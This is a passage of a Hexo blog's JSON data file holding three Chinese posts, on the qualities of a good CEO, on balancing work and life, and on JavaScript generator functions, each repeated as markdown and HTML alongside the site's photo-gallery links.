title=\"总结\"></a>总结</h3><ul>\n<li>怀着一颗空杯心态去看待事物，这样才会有进步，学无止境，我要走的路还很长</li>\n</ul>\n"},{"title":"如何成为一名合格的CEO","date":"2017-08-28T05:14:49.000Z","_content":"\n### 集中精力抓到要害问题\n* 好的ceo善于俯视整个公司，确定最优先要做的事前，然后重点突破，一两件事就能使公司发生巨大的变化。如果你能抓住公司面临问题的要害之处，人们才会洗耳恭听\n\n### 销售能力\n* ceo 必须具备推销能力，把东西推销给客户和投资者，或者把革命思想推荐给公司\n\n### 对财务的敏感\n* 读懂数据，把纸上的东西和实际的公司情况结合起来，不仅仅是预算问题，也需要思考盈利的驱动力问题。\n\n### 有策略头脑\n* 策略就是选择公司将参与角逐的竞技场，然后建立与这场竞争想关的优势。这样会考验你如何适应游戏规则并在游戏中获胜\n\n### 管理变革的能力\n* 在整个公司的变革，犹如管理一个部门，但要困难的多，你的行动要有号召力。你必须为人们树立一个榜样，挑选真确的管理团队，确定可能妨碍或阻止你的层层挑战\n\n### 领导能力\n* 领导需要精力和激情。你必须先感召你自己，然后感召其他人。但激情也不是无根无据的滥用，一个坚定的长远目标很重要。\n\n### 个性魅力\n* 伟大的ceo知道什么时候用逻辑推理，什么时候相信自己的直觉，他们知道什么时候应该采取什么措施，什么时候听之任之，他知道什么时候管什么时候不要管。\n","source":"_posts/如何成为一名合格的CEO.md","raw":"---\ntitle: 如何成为一名合格的CEO\ndate: 2017-08-28 13:14:49\ntags: [职场]\ncategories: 生活\n---\n\n### 集中精力抓到要害问题\n* 好的ceo善于俯视整个公司，确定最优先要做的事前，然后重点突破，一两件事就能使公司发生巨大的变化。如果你能抓住公司面临问题的要害之处，人们才会洗耳恭听\n\n### 销售能力\n* ceo 必须具备推销能力，把东西推销给客户和投资者，或者把革命思想推荐给公司\n\n### 对财务的敏感\n* 读懂数据，把纸上的东西和实际的公司情况结合起来，不仅仅是预算问题，也需要思考盈利的驱动力问题。\n\n### 有策略头脑\n* 策略就是选择公司将参与角逐的竞技场，然后建立与这场竞争想关的优势。这样会考验你如何适应游戏规则并在游戏中获胜\n\n### 管理变革的能力\n* 在整个公司的变革，犹如管理一个部门，但要困难的多，你的行动要有号召力。你必须为人们树立一个榜样，挑选真确的管理团队，确定可能妨碍或阻止你的层层挑战\n\n### 领导能力\n* 领导需要精力和激情。你必须先感召你自己，然后感召其他人。但激情也不是无根无据的滥用，一个坚定的长远目标很重要。\n\n### 个性魅力\n* 伟大的ceo知道什么时候用逻辑推理，什么时候相信自己的直觉，他们知道什么时候应该采取什么措施，什么时候听之任之，他知道什么时候管什么时候不要管。\n","slug":"如何成为一名合格的CEO","published":1,"updated":"2018-01-25T11:14:42.235Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6j003lvzqh85o3oqaw","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"集中精力抓到要害问题\"><a href=\"#集中精力抓到要害问题\" class=\"headerlink\" title=\"集中精力抓到要害问题\"></a>集中精力抓到要害问题</h3><ul>\n<li>好的ceo善于俯视整个公司，确定最优先要做的事前，然后重点突破，一两件事就能使公司发生巨大的变化。如果你能抓住公司面临问题的要害之处，人们才会洗耳恭听</li>\n</ul>\n<h3 id=\"销售能力\"><a href=\"#销售能力\" class=\"headerlink\" title=\"销售能力\"></a>销售能力</h3><ul>\n<li>ceo 必须具备推销能力，把东西推销给客户和投资者，或者把革命思想推荐给公司</li>\n</ul>\n<h3 id=\"对财务的敏感\"><a href=\"#对财务的敏感\" class=\"headerlink\" title=\"对财务的敏感\"></a>对财务的敏感</h3><ul>\n<li>读懂数据，把纸上的东西和实际的公司情况结合起来，不仅仅是预算问题，也需要思考盈利的驱动力问题。</li>\n</ul>\n<h3 id=\"有策略头脑\"><a href=\"#有策略头脑\" class=\"headerlink\" title=\"有策略头脑\"></a>有策略头脑</h3><ul>\n<li>策略就是选择公司将参与角逐的竞技场，然后建立与这场竞争想关的优势。这样会考验你如何适应游戏规则并在游戏中获胜</li>\n</ul>\n<h3 id=\"管理变革的能力\"><a href=\"#管理变革的能力\" class=\"headerlink\" title=\"管理变革的能力\"></a>管理变革的能力</h3><ul>\n<li>在整个公司的变革，犹如管理一个部门，但要困难的多，你的行动要有号召力。你必须为人们树立一个榜样，挑选真确的管理团队，确定可能妨碍或阻止你的层层挑战</li>\n</ul>\n<h3 id=\"领导能力\"><a href=\"#领导能力\" class=\"headerlink\" title=\"领导能力\"></a>领导能力</h3><ul>\n<li>领导需要精力和激情。你必须先感召你自己，然后感召其他人。但激情也不是无根无据的滥用，一个坚定的长远目标很重要。</li>\n</ul>\n<h3 id=\"个性魅力\"><a href=\"#个性魅力\" class=\"headerlink\" title=\"个性魅力\"></a>个性魅力</h3><ul>\n<li>伟大的ceo知道什么时候用逻辑推理，什么时候相信自己的直觉，他们知道什么时候应该采取什么措施，什么时候听之任之，他知道什么时候管什么时候不要管。</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"集中精力抓到要害问题\"><a href=\"#集中精力抓到要害问题\" class=\"headerlink\" title=\"集中精力抓到要害问题\"></a>集中精力抓到要害问题</h3><ul>\n<li>好的ceo善于俯视整个公司，确定最优先要做的事前，然后重点突破，一两件事就能使公司发生巨大的变化。如果你能抓住公司面临问题的要害之处，人们才会洗耳恭听</li>\n</ul>\n<h3 id=\"销售能力\"><a href=\"#销售能力\" class=\"headerlink\" title=\"销售能力\"></a>销售能力</h3><ul>\n<li>ceo 必须具备推销能力，把东西推销给客户和投资者，或者把革命思想推荐给公司</li>\n</ul>\n<h3 id=\"对财务的敏感\"><a href=\"#对财务的敏感\" class=\"headerlink\" title=\"对财务的敏感\"></a>对财务的敏感</h3><ul>\n<li>读懂数据，把纸上的东西和实际的公司情况结合起来，不仅仅是预算问题，也需要思考盈利的驱动力问题。</li>\n</ul>\n<h3 id=\"有策略头脑\"><a href=\"#有策略头脑\" class=\"headerlink\" title=\"有策略头脑\"></a>有策略头脑</h3><ul>\n<li>策略就是选择公司将参与角逐的竞技场，然后建立与这场竞争想关的优势。这样会考验你如何适应游戏规则并在游戏中获胜</li>\n</ul>\n<h3 id=\"管理变革的能力\"><a href=\"#管理变革的能力\" class=\"headerlink\" title=\"管理变革的能力\"></a>管理变革的能力</h3><ul>\n<li>在整个公司的变革，犹如管理一个部门，但要困难的多，你的行动要有号召力。你必须为人们树立一个榜样，挑选真确的管理团队，确定可能妨碍或阻止你的层层挑战</li>\n</ul>\n<h3 id=\"领导能力\"><a href=\"#领导能力\" class=\"headerlink\" title=\"领导能力\"></a>领导能力</h3><ul>\n<li>领导需要精力和激情。你必须先感召你自己，然后感召其他人。但激情也不是无根无据的滥用，一个坚定的长远目标很重要。</li>\n</ul>\n<h3 id=\"个性魅力\"><a href=\"#个性魅力\" class=\"headerlink\" title=\"个性魅力\"></a>个性魅力</h3><ul>\n<li>伟大的ceo知道什么时候用逻辑推理，什么时候相信自己的直觉，他们知道什么时候应该采取什么措施，什么时候听之任之，他知道什么时候管什么时候不要管。</li>\n</ul>\n"},{"title":"如何规划自己的工作和生活","date":"2018-03-19T01:33:22.000Z","top":true,"_content":"人人都在说工作-生活平衡，但好像都不敢真正拥有它，移动互联网，正在让工作和生活\b的边界变得越来越模糊...\n\n## 花时间做规划\n\n给自己的时间做规划，不意味着你可以更放松，反而需要更严格的时间规划，尝试对时间概念有一个精准的定位。\n\n* 明确目标：包括工作目标，生活目标。\n* 给事情做优先级：按重要程度划分。\n* 细化目标所需时间：精确目标实现所需时间，大到年月、小到分时。\n\n> 越忙越乱，越乱越忙\n\n## 形成日常惯例，减少意志力的损耗\n\n给自己每周、每月、每年定下固定活动时间分配，让它自然而然的形成惯例。\n\n> 越来越多的人认为，只有不断工作才能证明自己有能力、有责任心\n\n## 有效地休闲\n\n休闲时间不在长短，而在于质量。高质量的休闲让你体验到的是放松，而不是无聊和空虚。\n\n休闲的必要性：放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考，容易产生有创造力的洞察力。\n\n> 长时间的工作会降低人们的创造力，提高心脏病、抑郁症的发生率。\n\n","source":"_posts/如何规划自己的工作和生活.md","raw":"---\ntitle: 如何规划自己的工作和生活\ndate: 2018-03-19 09:33:22\ntags: [哲理]\ncategories: 生活\ntop: true\n---\n人人都在说工作-生活平衡，但好像都不敢真正拥有它，移动互联网，正在让工作和生活\b的边界变得越来越模糊...\n\n## 花时间做规划\n\n给自己的时间做规划，不意味着你可以更放松，反而需要更严格的时间规划，尝试对时间概念有一个精准的定位。\n\n* 明确目标：包括工作目标，生活目标。\n* 给事情做优先级：按重要程度划分。\n* 细化目标所需时间：精确目标实现所需时间，大到年月、小到分时。\n\n> 越忙越乱，越乱越忙\n\n## 形成日常惯例，减少意志力的损耗\n\n给自己每周、每月、每年定下固定活动时间分配，让它自然而然的形成惯例。\n\n> 越来越多的人认为，只有不断工作才能证明自己有能力、有责任心\n\n## 有效地休闲\n\n休闲时间不在长短，而在于质量。高质量的休闲让你体验到的是放松，而不是无聊和空虚。\n\n休闲的必要性：放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考，容易产生有创造力的洞察力。\n\n> 长时间的工作会降低人们的创造力，提高心脏病、抑郁症的发生率。\n\n","slug":"如何规划自己的工作和生活","published":1,"updated":"2018-04-10T01:39:48.536Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6l003ovzqh9uz0sno4","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>人人都在说工作-生活平衡，但好像都不敢真正拥有它，移动互联网，正在让工作和生活\b的边界变得越来越模糊…</p>\n<h2 id=\"花时间做规划\"><a href=\"#花时间做规划\" class=\"headerlink\" title=\"花时间做规划\"></a>花时间做规划</h2><p>给自己的时间做规划，不意味着你可以更放松，反而需要更严格的时间规划，尝试对时间概念有一个精准的定位。</p>\n<ul>\n<li>明确目标：包括工作目标，生活目标。</li>\n<li>给事情做优先级：按重要程度划分。</li>\n<li>细化目标所需时间：精确目标实现所需时间，大到年月、小到分时。</li>\n</ul>\n<blockquote>\n<p>越忙越乱，越乱越忙</p>\n</blockquote>\n<h2 id=\"形成日常惯例，减少意志力的损耗\"><a href=\"#形成日常惯例，减少意志力的损耗\" class=\"headerlink\" title=\"形成日常惯例，减少意志力的损耗\"></a>形成日常惯例，减少意志力的损耗</h2><p>给自己每周、每月、每年定下固定活动时间分配，让它自然而然的形成惯例。</p>\n<blockquote>\n<p>越来越多的人认为，只有不断工作才能证明自己有能力、有责任心</p>\n</blockquote>\n<h2 id=\"有效地休闲\"><a href=\"#有效地休闲\" class=\"headerlink\" title=\"有效地休闲\"></a>有效地休闲</h2><p>休闲时间不在长短，而在于质量。高质量的休闲让你体验到的是放松，而不是无聊和空虚。</p>\n<p>休闲的必要性：放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考，容易产生有创造力的洞察力。</p>\n<blockquote>\n<p>长时间的工作会降低人们的创造力，提高心脏病、抑郁症的发生率。</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>人人都在说工作-生活平衡，但好像都不敢真正拥有它，移动互联网，正在让工作和生活\b的边界变得越来越模糊…</p>\n<h2 id=\"花时间做规划\"><a href=\"#花时间做规划\" class=\"headerlink\" title=\"花时间做规划\"></a>花时间做规划</h2><p>给自己的时间做规划，不意味着你可以更放松，反而需要更严格的时间规划，尝试对时间概念有一个精准的定位。</p>\n<ul>\n<li>明确目标：包括工作目标，生活目标。</li>\n<li>给事情做优先级：按重要程度划分。</li>\n<li>细化目标所需时间：精确目标实现所需时间，大到年月、小到分时。</li>\n</ul>\n<blockquote>\n<p>越忙越乱，越乱越忙</p>\n</blockquote>\n<h2 id=\"形成日常惯例，减少意志力的损耗\"><a href=\"#形成日常惯例，减少意志力的损耗\" class=\"headerlink\" title=\"形成日常惯例，减少意志力的损耗\"></a>形成日常惯例，减少意志力的损耗</h2><p>给自己每周、每月、每年定下固定活动时间分配，让它自然而然的形成惯例。</p>\n<blockquote>\n<p>越来越多的人认为，只有不断工作才能证明自己有能力、有责任心</p>\n</blockquote>\n<h2 id=\"有效地休闲\"><a href=\"#有效地休闲\" class=\"headerlink\" title=\"有效地休闲\"></a>有效地休闲</h2><p>休闲时间不在长短，而在于质量。高质量的休闲让你体验到的是放松，而不是无聊和空虚。</p>\n<p>休闲的必要性：放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考，容易产生有创造力的洞察力。</p>\n<blockquote>\n<p>长时间的工作会降低人们的创造力，提高心脏病、抑郁症的发生率。</p>\n</blockquote>\n"},{"title":"如何理解yield和*函数","date":"2018-01-30T08:10:15.000Z","_content":"\n## Koa1\n\n### 什么是 Generator \n```\nfunction *test() {\n\n}\n\ntest()    //  -> [Object Generator]\n```\n> generator 函数可以只运行函数的一部分，以及控制何时运行剩余的部分。\n```\nfunction *learn() {\n  yield 1\n  yield 2\n  return 3\n}\nlet learnGen = learn()\n\nlearnGen.next()  //  -> {\"done\": false, \"value\": 1}\n```\n> 再次调用会运行到下一个 yield 处\n```\nlearnGen.next()  //  -> {\"done\": false, \"value\": 2}\nlearnGen.next()  //  -> {\"done\": true, \"value\": 3}\n```\n\n### 小结\n可以通过 `yield` 和 `*` 的结合实现类似 `await` `async` 的效果的效果\n\n","source":"_posts/如何理解yield和-函数.md","raw":"---\ntitle: 如何理解yield和*函数\ndate: 2018-01-30 16:10:15\ntags: [generator, yield]\ncategories: JS\n---\n\n## Koa1\n\n### 什么是 Generator \n```\nfunction *test() {\n\n}\n\ntest()    //  -> [Object Generator]\n```\n> generator 函数可以只运行函数的一部分，以及控制何时运行剩余的部分。\n```\nfunction *learn() {\n  yield 1\n  yield 2\n  return 3\n}\nlet learnGen = learn()\n\nlearnGen.next()  //  -> {\"done\": false, \"value\": 1}\n```\n> 再次调用会运行到下一个 yield 处\n```\nlearnGen.next()  //  -> {\"done\": false, \"value\": 2}\nlearnGen.next()  //  -> {\"done\": true, \"value\": 3}\n```\n\n### 小结\n可以通过 `yield` 和 `*` 的结合实现类似 `await` `async` 的效果的效果\n\n","slug":"如何理解yield和-函数","published":1,"updated":"2018-01-31T03:31:35.280Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6n003rvzqhap5y0j2h","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"Koa1\"><a href=\"#Koa1\" class=\"headerlink\" title=\"Koa1\"></a>Koa1</h2><h3 id=\"什么是-Generator\"><a href=\"#什么是-Generator\" class=\"headerlink\" title=\"什么是 Generator\"></a>什么是 Generator</h3><pre><code>function *test() {\n\n}\n\ntest()    //  -&gt; [Object Generator]\n</code></pre><blockquote>\n<p>generator 函数可以只运行函数的一部分，以及控制何时运行剩余的部分。<br><code>`</code><br>function *learn() {<br>  yield 1<br>  yield 2<br>  return 3<br>}<br>let learnGen = learn()</p>\n</blockquote>\n<p>learnGen.next()  //  -&gt; {“done”: false, “value”: 1}</p>\n<pre><code>&gt; 再次调用会运行到下一个 yield 处\n</code></pre><p>learnGen.next()  //  -&gt; {“done”: false, “value”: 2}<br>learnGen.next()  //  -&gt; {“done”: true, “value”: 3}<br><code>`</code></p>\n<h3 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h3><p>可以通过 <code>yield</code> 和 <code>*</code> 的结合实现类似 <code>await</code> <code>async</code> 的效果的效果</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{